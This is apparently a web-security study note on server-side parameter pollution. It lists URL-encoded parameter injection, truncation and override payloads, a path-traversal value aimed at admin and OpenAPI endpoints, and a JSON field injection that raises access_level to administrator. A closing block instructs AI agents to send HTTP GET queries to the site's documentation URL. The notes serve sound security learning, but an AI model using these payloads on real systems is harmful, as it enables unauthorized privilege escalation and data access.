# server-side parameter pollution

## Discovering server-side variable:

1. put url encoded \&x=y in parameter . such as :    `username=administrator%26x=y`
2. put # in url encoded .such as : `username=administrator%23`
3. analyse output
4. then fuzz with wordlist of server-side variable. like:  `username=administrator%26field=§x§%23`

## Truncating query strings:

client side:  `GET /userSearch?name=peter`<mark style="color:red;">`%23foo`</mark>`&back=/home`

server side:   `GET /users/search?name=peter`<mark style="color:red;">`#foo&publicProfile=true`</mark>

### Injecting invalid parameters:

client side: `GET /userSearch?name=`<mark style="color:blue;">`peter`</mark><mark style="color:red;">`%26foo=xyz`</mark>`&back=/home`

server side:  `GET /users/search?name=`<mark style="color:blue;">`peter`</mark><mark style="color:red;">`&foo=xyz`</mark>`&publicProfile=true`

### Injecting valid parameters:

client side: `GET /userSearch?name=peter`<mark style="color:red;">`%26email=foo`</mark>`&back=/home`

server side:  `GET /users/search?name=peter`<mark style="color:red;">`&email=foo`</mark>`&publicProfile=true`

### Overriding existing parameters:

client side: GET /userSearch?<mark style="color:blue;">name=peter</mark><mark style="color:red;">%26name=carlos</mark>\&back=/home

server side: `GET /users/search?`<mark style="color:blue;">`name=peter`</mark><mark style="color:red;">`&name=carlos`</mark>`&publicProfile=true`

{% hint style="info" %} <mark style="color:blue;">PHP</mark> parses the <mark style="color:blue;">**last parameter**</mark> only.

<mark style="color:blue;">ASP.NET</mark> combines **both parameters.**

<mark style="color:blue;">Node.js / express</mark> parses the <mark style="color:red;">**first parameter**</mark> only
{% endhint %}

## Rest API:

### Path Traversal:

in client side: `GET /edit_profile.php?name=peter`<mark style="color:red;">`%2f..%2fadmin`</mark>

in server side:  `GET /api/private/users/peter`<mark style="color:red;">`/../admin`</mark>

other example: `username=`<mark style="color:red;">`../../../../openapi.json%23`</mark>

### In structured data formats:

intent req:

```
POST /myaccount
{"name": "peter"}
```

client side:&#x20;

```
POST /myaccount
{"name": "peter\",\"access_level\":\"administrator"}
```

server side:

```
PATCH /users/7312/update
{"name":"peter","access_level":"administrator"}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/api-testing/all-api-vulnerability/server-side-parameter-pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
